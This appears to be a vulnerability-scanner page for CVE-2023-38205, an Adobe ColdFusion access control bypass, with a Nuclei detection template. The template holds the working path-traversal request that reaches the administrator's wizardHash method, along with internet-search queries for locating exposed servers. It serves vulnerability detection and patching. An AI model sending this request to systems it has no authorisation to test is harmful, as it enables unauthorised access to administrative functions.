Adobe ColdFusion - Access Control Bypass

Exploited in the wild. Listed by CISA on 2023-07-20; known to be used by ransomware.

highseverity

7.5CVSS score

99.8%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

There is an access control bypass vulnerability in Adobe ColdFusion versions 2023 Update 2 and below, 2021 Update 8 and below and 2018 update 18 and below, which allows a remote attacker to bypass the ColdFusion mechanisms that restrict unauthenticated external access to ColdFusion's Administrator.

Impact

Successful exploitation of this vulnerability could allow an attacker to bypass access controls and gain unauthorized access to sensitive information or perform unauthorized actions.

Fix

Apply the necessary security patches or updates provided by Adobe to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/hax/..CFIDE/wizards/common/utils.cfc?method=wizardHash&inPassword=foo&_cfclient=true&returnFormat=wddx
Positive when: matches /([0-9a-fA-F]{32},){2}[0-9a-fA-F]{32}/ AND contains(content_type, "text/html") and status_code == 200 and len(trim_space(body)) == 106

Run it with nuclei: nuclei -id CVE-2023-38205 -u <target>

The full check

id: CVE-2023-38205

info:
  name: Adobe ColdFusion - Access Control Bypass
  author: DhiyaneshDk
  severity: high
  description: |
    There is an access control bypass vulnerability in Adobe ColdFusion versions 2023 Update 2 and below, 2021 Update 8 and below and 2018 update 18 and below, which allows a remote attacker to bypass the ColdFusion mechanisms that restrict unauthenticated external access to ColdFusion's Administrator.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to bypass access controls and gain unauthorized access to sensitive information or perform unauthorized actions.
  remediation: |
    Apply the necessary security patches or updates provided by Adobe to mitigate this vulnerability.
  reference:
    - https://www.rapid7.com/blog/post/2023/07/19/cve-2023-38205-adobe-coldfusion-access-control-bypass-fixed/
    - https://helpx.adobe.com/security/products/coldfusion/apsb23-47.html
    - https://github.com/Ostorlab/KEV
    - https://github.com/Ostorlab/known_exploited_vulnerbilities_detectors
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-38205
    cwe-id: CWE-284,NVD-CWE-Other
    epss-score: 0.99804
    epss-percentile: 0.99958
    cpe: cpe:2.3:a:adobe:coldfusion:2018:-:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: adobe
    product: coldfusion
    shodan-query:
      - http.component:"Adobe ColdFusion"
      - http.component:"adobe coldfusion"
      - http.title:"coldfusion administrator login"
      - cpe:"cpe:2.3:a:adobe:coldfusion"
    fofa-query:
      - app="Adobe-ColdFusion"
      - app="adobe-coldfusion"
      - title="coldfusion administrator login"
    google-query: intitle:"coldfusion administrator login"
  tags: cve2023,cve,adobe,auth-bypass,coldfusion,kev,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/hax/..CFIDE/wizards/common/utils.cfc?method=wizardHash&inPassword=foo&_cfclient=true&returnFormat=wddx"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - ([0-9a-fA-F]{32},){2}[0-9a-fA-F]{32}

      - type: dsl
        dsl:
          - contains(content_type, "text/html")
          - status_code == 200
          - len(trim_space(body)) == 106
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from